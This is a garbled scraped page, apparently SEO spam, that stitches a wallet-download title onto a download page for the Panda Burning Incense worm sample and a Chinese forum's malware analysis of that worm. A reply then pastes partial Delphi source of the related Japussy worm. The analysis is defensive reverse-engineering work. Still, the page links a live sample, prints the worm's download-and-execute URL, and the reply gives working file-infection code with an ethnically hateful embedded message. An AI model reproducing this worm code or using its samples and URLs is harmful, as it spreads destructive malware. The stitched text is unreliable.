Hero Circle Shape
Hero Moon Shape
Hero Right Shape
imtoken2.0钱包下载地址|熊猫烧香病毒样本

imtoken2.0钱包下载地址|熊猫烧香病毒样本

  • 作者: imtoken2.0钱包下载地址
  • 2024-03-08 04:28:06

熊猫烧香病毒包下载-熊猫烧香病毒样本下载 源代码-IT猫扑网

病毒包下载-熊猫烧香病毒样本下载 源代码-IT猫扑网

熊猫烧香病毒包下载

最新更新|软件分类|软件专题|手机版|论坛转贴|软件发布

首页

常用软件

软件下载

安卓下载

苹果下载

MAC下载

文章教程

软件专题

排行榜

网络软件

系统工具

应用软件

硬件驱动

行业软件

联络聊天

图形图像

多媒体类

游戏娱乐

安全相关

编程开发

书籍教程

字体下载

腾讯视频

安卓模拟器

Mysql

office2003

福昕PDF阅读器

office2007

winrar

您当前所在位置:首页 → 安全相关 → 病毒防治 → 熊猫烧香病毒样本 源代码

熊猫烧香病毒样本源代码

软件大小:42KB

软件语言:中文

软件类型:国产软件 / 病毒防治

软件授权:免费软件

更新时间:2022-01-04 18:03

软件等级:

应用平台:WinAll, WinXP

软件官网:暂无

ITMOP本地下载文件大小:42KB

点赞0%(0)

差评0%(0)

相关软件

psexec.exe软件v2017 免费版1.5M/中文/8.3瑞星XP盾v2017 最新官方版7.5M/中文/10.0瑞星账号保险柜(杀毒软件)v5.0 官方版4.5M/中文/10.0橙色八月专用提取清除工具v1.8 免费版394KB/中文/10.0Avira AntiVir Personal(小红伞个人免费版V51.9M/中文/5.0

软件介绍人气软件精品推荐相关文章网友评论下载地址小编为您推荐:熊猫烧香病毒杀毒软件

熊猫烧香病毒源代码是一款曾经非常恐怖的电脑蠕虫病毒,不过现在很多用户通过熊猫烧香病毒源代码来研究杀毒的方法,欢迎有需要的用户来IT猫扑下载。中毒症状除通过网站带毒感染用户之外,此病毒还会在局域网中传播,在极短时间之内就可以感染几千台计算机,严重时可以导致网络瘫痪。中毒电脑上会出现“熊猫烧香”图案,所以也被称为“熊猫烧香”病毒。中毒电脑会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。病毒说明病毒名称:熊猫烧香,Worm.WhBoy.(金山称),Worm.Nimaya。 (瑞星称)病毒别名:尼姆亚,武汉男生,后又化身为“金猪报喜”,国外称“熊猫烧香”危险级别:★★★★★病毒类型:蠕虫病毒,能够终止大量的反病毒软件和防火墙软件进程。影响系统:Windows 9x/ME、Windows 2000/NT、Windows XP、Windows 2003 、Windows Vista 、Windows 7传播方法金山分析:这是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能结束大量的反病毒软件进程。1、拷贝文件病毒运行后,会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe2、添加注册表自启动病毒会添加自启动项svcshare ->C:\WINDOWS\System32\Drivers\spoclsv.exe3、病毒行为a:每隔1秒

更多>>软件截图

上一张下一张(1 / 1)

查看详细截图

推荐软件

360安全卫士13 83.3M / 中文 / 20v14.0 官方最新版下载360杀毒电脑版 64.0M / 中文 / 2v7.0.0.1030A 官方正式版下载ESET NOD32 Antivirus防病毒软件 65M / 多国语言[中文] / 3v15.1.12.0 简体中文免费版下载瑞星杀毒软件最新版 46.4M / 中文 / 254v25.00.08.99 免费版下载金山毒霸电脑版 162.9M / 中文 / 604v2022.07.13 永久免费版下载eset endpoint security商业版直装免激活 161M / 中文 / 2v8.1.2031 中文安装版下载可牛杀毒顽固木马专杀工具 193KB / 中文 / 1v1.0 绿色简体中文版下载百度安全卫士电脑版 1.9M / 中文 / 5v8.2.0.7227 官方最新版下载

其他版本下载

精品推荐

相关文章

下载地址

熊猫烧香病毒样本 源代码

查看所有评论>>网友评论

第 38 楼 贵州遵义网友 发表于: 2023/12/19 16:03:59

会不会中毒啊 支持( 0 ) 盖楼(回复) 编辑回复:不回的

第 37 楼 福建移动数据上网公共出口客人 发表于: 2023/4/14 22:46:27

不过现在修复方法特别简单 支持( 0 ) 盖楼(回复)

第 36 楼 黑龙江佳木斯网友 发表于: 2023/4/13 14:26:20

我觉得这个软件就是歌姬 支持( 0 ) 盖楼(回复)

第 35 楼 黑龙江佳木斯网友 发表于: 2023/4/13 14:26:19

我觉得这个软件就是歌姬 支持( 0 ) 盖楼(回复)

第 34 楼 新疆乌鲁木齐客人 发表于: 2023/4/13 11:53:25

看着就觉得厉害 北京鹏博士BGP 上古饿龙~嗷呜~ 2021/6/8 19:23:58 66666666666 支持( 0 ) 盖楼(回复)

第 33 楼 新疆乌鲁木齐客人 发表于: 2023/4/13 11:53:24

看着就觉得厉害 北京鹏博士BGP 上古饿龙~嗷呜~ 2021/6/8 19:23:58 66666666666 支持( 0 ) 盖楼(回复)

第 32 楼 河北石家庄电信客人 发表于: 2023/4/27 16:32:53

牛逼牛逼牛逼牛逼牛逼 新疆伊犁州 网友 2022/3/24 12:50:05 你试了吗

支持( 0 ) 盖楼(回复)

第 31 楼 河北石家庄电信客人 发表于: 2023/4/27 16:32:52

牛逼牛逼牛逼牛逼牛逼 新疆伊犁州 网友 2022/3/24 12:50:05 你试了吗

支持( 0 ) 盖楼(回复)

第 30 楼 辽宁大连移动客人 发表于: 2023/4/25 10:38:56

牛逼牛逼牛逼牛逼牛逼 新疆伊犁州 网友 2022/3/24 12:50:05 666 支持( 0 ) 盖楼(回复)

第 29 楼 辽宁大连移动客人 发表于: 2023/4/25 10:38:55

牛逼牛逼牛逼牛逼牛逼 新疆伊犁州 网友 2022/3/24 12:50:05 666 支持( 0 ) 盖楼(回复)

发表评论

(您的评论需要经过审核才能显示) 网友粉丝QQ群号:203046401

我来说两句...

提交评论查看所有37条评论>>

更多>>猜你喜欢

360安全卫士13360安全卫士最新版360顽固木马专杀大全360杀毒尝鲜版2023360杀毒64位极速版360安全卫士极速版电脑版360杀毒云动最新版360杀毒32位电脑版360杀毒电脑版360杀毒五引擎版完整安装包 X64360杀毒原生64位尝鲜版360安全卫士离线完整版

下载周排行

下载总排行

熊猫烧香病毒样本源代码360安全卫士离线完整版v12.1 官方版avast许可文件(有效期到2039年)永久激活版神k360安全卫士13v14.0 官方最新版Dr.Web大蜘蛛密钥文件key激活码永久免费版360杀毒电脑版v7.0.0.1030A 官方正式版360系统急救箱32位版v5.1.0.1273 中文绿色版360安全卫士最新版v13.0.0.2104 官方正式版金山毒霸电脑版v2022.07.13 永久免费版360杀毒全量病毒库更新包32位/64位v2022-11-1Avast!爱维士杀毒软件v21.2.2455 官方免费版ESET NOD32 Antivirus防病毒软件v15.1.12.0 简

熊猫烧香病毒样本源代码360安全卫士离线完整版v12.1 官方版avast许可文件(有效期到2039年)永久激活版神k360安全卫士13v14.0 官方最新版Dr.Web大蜘蛛密钥文件key激活码永久免费版360杀毒电脑版v7.0.0.1030A 官方正式版360系统急救箱32位版v5.1.0.1273 中文绿色版360安全卫士最新版v13.0.0.2104 官方正式版金山毒霸电脑版v2022.07.13 永久免费版360杀毒全量病毒库更新包32位/64位v2022-11-1Avast!爱维士杀毒软件v21.2.2455 官方免费版360杀毒离线安装包(含本地病毒库)v7.0.0.1011

病毒防治精品热门软件

360安全卫士13v14.0 官方最新版83.3M/中文/4.6360杀毒电脑版v7.0.0.1030A 官方正式版64.0M/中文/5.0瑞星杀毒软件最新版v25.00.08.99 免费版46.4M/中文/9.7金山毒霸电脑版v2022.07.13 永久免费版162.9M/中文/9.1智量终端安全软件v3.03 官方版46.7M/中文/10.0百度安全卫士电脑版v8.2.0.7227 官方最新版1.9M/中文/7.1

装机必备软件

腾讯qq阿里旺旺YY语音迅雷QQ旋风IDM下载器电脑管家360杀毒金山毒霸搜狗输入法百度输入法QQ五笔暴风影音QQ音乐爱奇艺PPS驱动精灵运行库合集Winrar

热门软件合集比特梵德 avast 小红伞 avg 国外杀毒软件 u盘病毒 U盘杀毒 cad病毒专杀工具 360安全卫士 McAfee 杀毒软件 病毒专杀工具 激活工具 Nod32 病毒防治排行

关于我们|

下载帮助|

版权声明|

合作伙伴|

友情连接|

联系我们|

网站地图

Copyright © 2007-2022 IT猫扑网(www.itmop.com).All Rights Reserved 琼ICP备2023002825号

经典病毒分析——熊猫烧香 - 『病毒分析区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

经典病毒分析——熊猫烧香 - 『病毒分析区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

官方bilibiliWindows破解入门Android逆向入门

【清理未活跃会员】【网络诊断修复工具】切换到窄版

帐号

自动登录

 找回密码

密码

登录

 注册[Register]

只需一步,快速开始

快捷导航

门户Portal网站www新帖论坛最新帖子一览无余!搜索站内搜索专辑Collection排行榜Ranklist总版规爱盘在线破解工具包,实时提供最新逆向资源!帮助Help

关注人的新帖技术新帖合集最新软件合集原创发布新贴脱壳破解新帖移动安全新帖病毒分析新帖软件调试新贴动画发布新帖编程语言新帖邀请好友注册Tools吾爱破解Logo吾爱破解桌面壁纸吾爱破解视频教程吾爱破解论坛精华集吾爱破解专用版Ollydbg处理举报贴处理站务贴处理福利贴处理水区贴办公区证据区

原创发布区

精品软件区

逆向资源区

水漫金山区

病毒救援区

福利经验区

脱壳破解区

移动安全区

病毒分析区

编程语言区

动画发布区

安全工具区

站点公告

站点导航

站点总版规

申请专区

招聘求职

违规怎么办

站点帮助

站务处理

搜索

搜索

热搜:

ctf

新手

脱壳

教程

Crackme

本版用户

挣悬赏

未完结

撤销悬赏

吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn»网站 › 【 病毒分析 】 › 『病毒分析区』 › 经典病毒分析——熊猫烧香

12345678910... 47 / 47 页下一页

返回列表

查看: 33437|回复: 462

[PC样本分析]

经典病毒分析——熊猫烧香

 

 

[复制链接]

Nattevak

Nattevak

当前离线

好友

阅读权限30

听众

最后登录1970-1-1

Nattevak

发表于 2022-1-1 08:56

使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

本帖最后由 Nattevak 于 2022-1-1 09:21 编辑

感染

那一日,人们又回忆起被胖达支配的恐惧。。。。

xm

那年,机房风扇呼呼的吹,小狮子的呼噜呼呼的打,胖达揣着三根香占满了电脑。。。

时过数十载,重现当年经典,今日带来胖达分析四部曲。病毒分析初尝试,如有不足,望各位大佬指点

一、基本分析,并提取病毒样本,手工清理机器 “熊猫烧香”是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,他不但能感染系统中exe,com,pif,src,html,asp等文件,他还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件。该文件一般是系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫烧香的模样。

来自百度百科:熊猫烧香病毒对系统中所有除了盘符为A,B的磁盘类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘进行文件遍历感染

注:不感染文件大小超过10MB以上的

1

1.模拟真实场景,在虚拟机中运行样本

1.1

1.2

1.3

1.4

1.5

1.6

2.待病毒执行之后,观察可疑情况

使用PCHunter工具查看进程,定位到进程文件,再结束病毒进程

可疑进程判断依据:图标、文件名、文件路径

1.7

找到病毒所在位置,将其样本保存,再删除目录下的病毒程序(需结束病毒进程后删除)

1.8

注:在病毒运行后,需观察病毒情况

首先查看可疑进程,进程部分上文已经写出

再查看启动项(注册表,计划任务等)

注册表启动项有可疑进程

1.9

1.10

查看驱动,服务等可疑项

未发现异常

查看其他杂项,网络连接

有可疑进程的网络连接,主要端口号:80、443、139

1.11

1.12

使用抓包工具(WSExplorer)查看可疑流量

有加密的流量传输

1.13

3.提取样本:

将路径下文件提取到本地,并修改扩展名为vir

C:\Windows\System32\drivers\spo0lsv.exe 改为 C:\Windows\System32\drivers\spo0lsv.vir

4.样本概况:

文件: C:\Windows\System32\drivers\spo0lsv.vir

大小: 30001 bytes

修改时间: 2018年7月14日, 8:40:21

MD5: 512301C535C88255C9A252FDF70B7A03

SHA1: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870

CRC32: E334747C

5.手工清理机器:

       ①结束可疑进程 spo0lsv.exe

       ②删除可疑进程启动项

       ③程序安装目录下被感染的exe变成了熊猫烧香图标,手工无法清除,当运行被感染程序时,病毒再次复活。可以发现,手工无法清除此病毒,想要清除需要进一步分析。

二、行为分析,获取病毒行为

1.由于之前对病毒样本进行了一系列操作,所以将虚拟机还原快照,重新在虚拟机中运行病毒程序,使用火绒剑工具监控病毒样本的运行,待病毒执行一段时间后,分开查看病毒的行为。分析监控到的日志,主要观察的点:

       ①文件操作,主要看文件创建、修改、删除等操作

       ②注册表操作,主要看注册表设置、创建等操作

       ③进程操作,主要看创建进程、写入内存等操作

       ④网络操作,主要看网络连接地址、IP等信息

       ⑤其他行为,以及观察病毒样本运行后的反应

分析样本的行为,尽可能发现恶意行为。

开启火绒剑监控样本运行

2.1

①观察文件操作,主要观察文件的写入操作,这里保险起见勾选文件被修改和写入文件两个选项

2.2

2.3

2.4

2.5

2.6

②观察注册表操作,主要观察设置注册表的操作,这里勾选设置注册表项值

2.7

病毒程序自己建了一个注册表项,设置了一些信息

2.8

Internet Setting看起来应该是跟网络设置相关

2.9

其他的大多都是一些设置启动项和隐藏的一些操作

2.10

③观察进程操作

因为进程现在还不太好判断,所以进程相关的所有操作都先看一下

2.11

2.12

枚举进程可能是为了查找是否存在杀毒软件

2.13

④观察网络操作,这里能监控的数据不多,有可能会有遗漏

2.14

2.15

具体操作可以使用抓包工具(WSExplorer)进一步观察

⑤观察其他行为

行为监控属于火绒剑这个工具特色的一种功能,这里将常见的一些恶意代码行为进行了总结

2.16

2.17

执行监控可以观察病毒程序执行了哪些进程,加载了哪些模块的操作,这里还创建了CMD,执行了一些命令

2.18

查看动作信息->进程

2.19

分析情况总结:

分析监控的日志以及自行观察操作之后,可以分析出样本的恶意行为:

       1.自我复制样本到C盘:C:\Windows\System32\drivers\目录下,启动C:\Windows\System32\drivers\spo0lsv.exe(即病毒程序)

       2.在每一个目录下创建Desktop_.ini,里面存放的是当前日期

       3.在C盘根目录下创建了autorun.inf文件,其中指定了自动启动的文件为根目录下的setup.exe(即病毒程序)

       4.对程序目录下的exe进行了感染,图标变为熊猫烧香,打开exe时,自动打开病毒

       5.枚举进程、查找窗口、打开设备

       6.设置注册表启动项为C:\Windows\System32\drivers\spo0lsv.exe

       7.自己创建了一个注册表的项,在其中写入了很多信息HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spo0lsv_RASAPI32

       8.设置注册表键值,隐藏文件不显示HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL中的CheckedValue值

       9.修改注册表的项IE浏览器的代{过}{滤}理和连接设置

       10.使用CMD命令关闭网络共享

       11.连接局域网的一些地址,访问一些门户网站

三、详细分析病毒代码,获取行为的恶意代码

通过行为分析之后,可以知道恶意代码的一些恶意行为,想要获取更加详细的行为需要使用IDA或是OD分析样本。

1.查壳

使用Exeinfo PE 查壳,发现是FSG2.0的壳

3.1

因为FSG是压缩壳,所以脱壳最应该尝试的是ESP定律,其次就是单步跟踪。

使用OD载入病毒程序,发现入口没有pushad/pushfd指令,单步观察堆栈变化。

3.2

程序一开始并没有保存环境,遇到这种情况继续单步跟踪,发现有解密代码的地方

3.3

继续单步跟踪,不进入CALL,线性分析代码。很快找到了修复IAT的地方。继续跟踪

3.4

找到跳出循环修复IAT的地方,到达跳转到原始OEP的地方。

3.5

在原始OEP处DUMP文件,再使用ImprotREC修复IAT即可。

3.6

使用ImportREC修复IAT时发现不能完整识别所有的导入函数。

3.7

观察IAT,发现两个模块的函数之间被填充成了7FFFFFFFF。

3.8

将7FFFFFFF都改为0,再使用ImportREC重新获取。

3.9

这次成功获取,然后修复转存的文件即可。

3.10

使用dump修复后的文件用IDA打开进行分析,添加签名便于分析

3.11

搜索Delphi,找到Delphi6-7的特征库,应用可以识别出很多库函数

3.12

使用F5将其转换为伪代码,简单分析OEP处代码

OEP处代码

3.13

OEP代码分析过程:

根据伪代码所示,可以发现OEP处的代码一开始都是一些初始化变量的操作;

之后使用了一些库函数进行连接、赋值的一些操作;

调用的第一个函数为sub_405250,其参数有字符串“xboy",之后另一次调用中,参数有字符串“whboy”,在调用sub_405250之后,有LStrCmp字符串比较函数的调用,之后又有判断返回值的代码,可以猜测函数sub_405250应该是解密字符串函数。

3.14

在OD中动态调试病毒程序,验证猜测

3.15

观察数据窗口,内存窗口以及寄存器的变化,可以确认sub_405250就是解密字符串函数,故将sub_405250更改为解密字符串函数DecodeString。

3.16

剩下的sub_40819C、sub_40D18C、sub_40D088三个函数应该是执行恶意代码的函数,在代码的末尾处可以看到有一个消息循环,猜测应该是等待恶意代码执行完毕,函数才会退出。

所以OEP处函数可以分为五部分:

3.17

sub_40819C函数分析

首先如我们之前分析的一样,在每一个目录下创建Desktop_.ini文件

3.18

进行判断,是否进入判断语句

之后再对运行程序与生成路径比较,不一致则进入判断中,一致则继续向下

3.19

sub_4053AC函数功能为GetSystemDirectory,即获取Windows系统目录(System目录)的完整路径名。

3.20

故将sub_4053AC函数更名为GetSystemDirectory。

sub_405FC4函数功能在IDA中不太好判断,所以需使用OD动态调试分析

在OD中搜索405FC4函数,来到函数入口处,在入口处下断点,将病毒程序运行至此,此时可以观察到EAX中保存的是病毒程序的名称

3.21

进行栈回溯,找到调用位置

3.22

在下一行代码处下断点,观察其返回值,其返回值为1,但是这里是字节里的1;

判断此处功能应该是结束程序名为"spo0lsv.exe"的程序

3.23

验证猜想

将任一程序名更改为"spo0lsv.exe",将其运行

3.24

然后设置CALL的上一行代码为新EIP,再次F9运行

3.25

可以观察到被我们修改为"spo0lsv.exe"的程序被结束了

故将sub_405FC4函数更名为KillVirusProcess。

继续向下分析伪代码

3.26

sub_407B68函数内为写入bat批处理文件的操作以及启动未被感染的程序,故将名称变更为WriteBatFile。

3.27

继续分析,判断当前是否为源病毒程序,如果是则进入判断语句,不是则结束进程

3.28

3.29

sub_40819C函数汇总:

3.30

快速定位感染exe的函数

使用OD动态调试样本,在CreateProcessA处下断点

3.31

进行栈回溯,找到关键跳转,使病毒程序不复制自身,不创建副本进程

3.32

3.33

跳转后对kernel32.CreateFileA下断点

3.34

F9运行程序,程序在CreateFileA断下,不断F9,直至运行至感染exe程序时

3.35

此时进行栈回溯,寻找感染关键代码,最终找到函数00407F00函数为病毒程序感染的关键函数,发现感染的类型有exe,scr,pif等。

3.36

在IDA中继续分析407F00函数

3.37

sub_40D18C函数分析

这个函数中有三个函数,分别功能:

       1.Create_ini函数创建线程,遍历目录创建Desktop_.ini

       2.Create_exe_inf函数设置了一个定时器,检查C盘中setup.exe和autorun.inf文件是否存在,若不存在则创建

       3.Create_network函数创建线程,进行网络连接

3.38

Create_ini函数

3.39

进入sub_40A48C函数,可以看到在循环执行sub_409348函数,根据之前的判断,这里应该是在创建Desktop_.ini文件

3.40

进入sub_409348函数可以发现Desktop_.ini字符串,因为我们之前已经分析过Desktop_.ini文件中存放的是本地时间,此函数中也有获取本地时间的行为,推测此处为代码执行的地方

3.41

3.42

Create_exe_inf函数

3.43

进入TimerFunc函数,实际功能就是检查C盘中setup.exe和autorun.inf文件是否存在,若不存在则创建

3.44

Create_network函数

3.45

进入sub_40BA8C函数,再进入sub_40B864函数发现是与网络连接相关的一些函数

3.46

sub_40D18C函数汇总:

3.47

sub_40D088函数分析

这个函数中调用了6个定时器:

       1.定时器1,sub_40CEE4,添加启动项、修改注册表

       2.定时器2,sub_40D040,下载恶意代码

       3.定时器3,sub_40D048,下载恶意代码、执行cmd命令

       4.定时器4,sub_407430,删除杀毒软件启动项、关闭杀软服务

       5.定时器5,sub_40CC4C,打开解密之后的网页

       6.定时器6,sub_40C728,下载恶意代码

3.48

进入sub_40CEE4函数,发现是添加启动项、修改注册表的操作

3.49

进入sub_40D040函数,再进入sub_40CC34,再进入sub_40C9B0,这里在访问网站并获取系统目录,应该是从服务器下载恶意代码

3.50

进入sub_40D048函数,发现内部有两个函数,函数sub_40CC34与函数sub_40D040功能相同,均为下载恶意代码

3.51

函数sub_40CDEC为执行cmd命令,关闭网络共享

3.52

进入sub_407430函数,再进入sub_406E44函数,发现都是删除杀毒软件启动项、关闭杀毒软件服务的操作

3.53

进入sub_40CC4C函数,打开解密之后的网页

3.54

进入sub_40C728函数,再进入sub_40C5E0函数,发现与sub_40D040功能类似,此处函数功能大致也是下载恶意代码

访问http://update.whboy.net/worm.txt下载并且执行病毒

3.55

执行恶意代码部分汇总:

3.56

四、提取病毒特征,完成查杀,编写文档报告及专杀工具

1.病毒特征

       MD5特征: 512301C535C88255C9A252FDF70B7A03

       SHA1值: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870

       CRC32: E334747C

       感染特征: 文件名最后有感染标识字符串"WhBoy + 原文件名 + .exe + 02 + 文件大小 + 01"

4.1

2.手工查杀步骤

       1.排查可疑进程,使用PcHumter结束病毒进程 spo0lsv.exe

       2.检查启动项,删除病毒启动项 "Software\\Microsoft\\Windows\\CurrentVersion\\Run"

       3.删除C盘System\drivers目录下的spo0lsv.exe病毒程序

       4.修复被病毒破坏的文件,程序安装目录下被感染的exe变成了熊猫烧香图标,手工无法清除,当运行被感染程序时,病毒再次复活。可以发现,手工无法清除此病毒,想要清除需要进一步分析

3.制作专杀工具

4.2

熊猫烧香样本:https://wwz.lanzouo.com/iLB8oy7jj0j

免费评分

参与人数 160吾爱币 +155

热心值 +146

收起

理由

iret_52

+ 1

我很赞同!

lt258369

+ 1

+ 1

用心讨论,共获提升!

SeleiXi

+ 1

+ 1

我很赞同!

undyingzombie

+ 1

热心回复!

flyray

+ 1

我很赞同!

Ginobili

+ 1

+ 1

!!!!

Mofecx

+ 1

+ 1

厉害

CyberAzrael

+ 1

+ 1

我很赞同!

lyj0886

+ 1

+ 1

谢谢@Thanks!

Function_TR

+ 1

+ 1

seiman

+ 1

+ 1

用心讨论,共获提升!

zgangtao0314

+ 1

+ 1

我很赞同!

二狗子的小棉袄

+ 1

+ 1

热心回复!

CodingZhang

+ 1

+ 1

用心讨论,共获提升!

翼风Fly

+ 1

+ 1

用心讨论,共获提升!

Qxie

+ 1

+ 1

热心回复!

YF440295

+ 1

+ 1

大神

Gentle899

+ 1

我很赞同!

三变丶

+ 1

+ 1

热心回复!

tutuxiaotaoqi

+ 1

+ 1

热心回复!

breadbear

+ 1

+ 1

我很赞同!

LA110

+ 1

热心回复!

deep1ndreams

+ 1

欢迎分析讨论交流,吾爱破解论坛有你更精彩!

Zua

+ 1

+ 1

我很赞同!

李莹莹

+ 2

+ 1

用心讨论,共获提升!

SGabyss

+ 1

+ 1

我很赞同!

weiye588

+ 1

+ 1

我很赞同!

TianXiaYu

+ 1

+ 1

谢谢@Thanks!

hu1314

+ 1

+ 1

谢谢@Thanks!

哆啦A梦

+ 1

感谢发布原创作品,吾爱破解论坛因你更精彩!

xiaoyue7788

+ 1

+ 1

用心讨论,共获提升!

dwcj

+ 1

用心讨论,共获提升!

plj529

+ 1

+ 1

谢谢@Thanks!

beyondcapacity

+ 1

用心讨论,共获提升!

ladiosfei

+ 1

+ 1

跪了跪了,膜拜大神

bihailt

+ 1

用心讨论,共获提升!

Tauch

+ 2

+ 1

鼓励转贴优秀软件安全工具和文档!

samson2013

+ 1

+ 1

一教室就看着老师优盘里全是这图标,也是牛脾

DrillAnn

+ 1

用心讨论,共获提升!

wwwnet110

+ 1

+ 1

用心讨论,共获提升!

wocuole

+ 1

+ 1

太牛了,

bibo00000

+ 1

+ 1

用心讨论,共获提升!

nevinhappy

+ 1

+ 1

用心讨论,共获提升!

CodeTea

+ 1

+ 1

我很赞同!

LISHGU

+ 1

+ 1

我很赞同!

Web_

+ 1

+ 1

太硬核了,大佬牛逼

AECPOS

+ 1

+ 1

鼓励转贴优秀软件安全工具和文档!

blankqwq

+ 1

我很赞同!

wkiwi

+ 1

+ 1

用心讨论,共获提升!

开袋即食

+ 1

+ 1

热心回复!

Coptis_china

+ 1

谢谢@Thanks!

屠龙大元帅

+ 1

+ 1

以前网吧全是这玩意,当时无解。。。。

tuoyu20

+ 1

+ 1

谢谢@Thanks!

Reer

+ 1

+ 1

我很赞同!

Krystian

+ 1

+ 1

用心讨论,共获提升!

千王0108

+ 1

+ 1

用心讨论,共获提升!

yizhenkai

+ 1

我很赞同!

52.Carl

+ 1

鼓励转贴优秀软件安全工具和文档!

GuiXiaoQi

+ 1

我很赞同!

wenzei

+ 1

+ 1

我很赞同!

zhangli777

+ 1

+ 1

我很赞同!

sushaka

+ 1

+ 1

鼓励转贴优秀软件安全工具和文档!

kuaile365

+ 1

+ 1

我很赞同!

小牛快跑

+ 1

+ 1

感谢发布原创作品,吾爱破解论坛因你更精彩!

4nfu

+ 1

+ 1

我很赞同!

你可真傻

+ 1

+ 1

热心回复!

shower1986

+ 1

+ 1

谢谢@Thanks!

nass221

+ 1

+ 1

谢谢@Thanks!

wiliao123

+ 1

+ 1

热心回复!

AnderWiggin

+ 1

我很赞同!

longfei9527

+ 1

+ 1

用心讨论,共获提升!

Iam9527

+ 1

+ 1

我很赞同!

Histone

+ 1

+ 1

用心讨论,共获提升!

adf28

+ 1

+ 1

谢谢@Thanks!

monk3435

+ 1

+ 1

我很赞同!

weizziwong

+ 1

+ 1

用心讨论,共获提升!

Tracer024

+ 1

我很赞同!

manwaa

+ 1

+ 1

热心回复!

liuyshou

+ 1

用心讨论,共获提升!

Yubai47666

+ 1

+ 1

用心讨论,共获提升!

mistyang

+ 1

+ 1

热心回复!

viczdtzzy

+ 1

+ 1

感谢发布原创作品,吾爱破解论坛因你更精彩!

w5230186

+ 1

+ 1

用心讨论,共获提升!

看门猫

+ 1

+ 1

用心讨论,共获提升!

lovlin999

+ 1

+ 1

鼓励转贴优秀软件安全工具和文档!

羽未

+ 1

+ 1

用心讨论,共获提升!

1983

+ 1

+ 1

用心讨论,共获提升!

sunline

+ 1

+ 1

谢谢@Thanks!

CadenWu

+ 1

+ 1

鼓励转贴优秀软件安全工具和文档!

zouya1990

+ 1

+ 1

谢谢@Thanks!

meteroa

+ 1

+ 1

谢谢@Thanks!

a2961666

+ 1

我很赞同!

grimghost

+ 1

+ 1

牛牛牛!!!

anwen

+ 1

+ 1

用心讨论,共获提升!

soyadokio

+ 1

+ 1

优秀!

人家故里

+ 1

+ 1

大佬牛批

秦牧

+ 1

+ 1

这才是牛叉的大神

csotour

+ 1

+ 1

我很赞同!

清炒藕片丶

+ 1

+ 1

我很赞同!

limit7

+ 1

碉堡了

查看全部评分

本帖被以下淘专辑推荐:

· 昨夜星辰就是你|主题: 302, 订阅: 22

· 病毒、漏洞、逆向分析文章专辑|主题: 15, 订阅: 0

发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

回复

举报

sail2000

sail2000

当前离线

好友

阅读权限10

听众

最后登录1970-1-1

sail2000

发表于 2022-1-2 08:47

本帖最后由 sail2000 于 2022-1-2 08:49 编辑

[Delphi] 纯文本查看 复制代码

//原地址:http://www.delphibbs.com/keylife/iblog_show.asp?xid=26864

//熊猫烧香 - 核心源码

//----------

//僅供研究使用!後果自行負責

//代码:----------

//程序代码

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. ' +

'If a country need to be destroyed, it must be Japan! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external 'Kernel32.dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

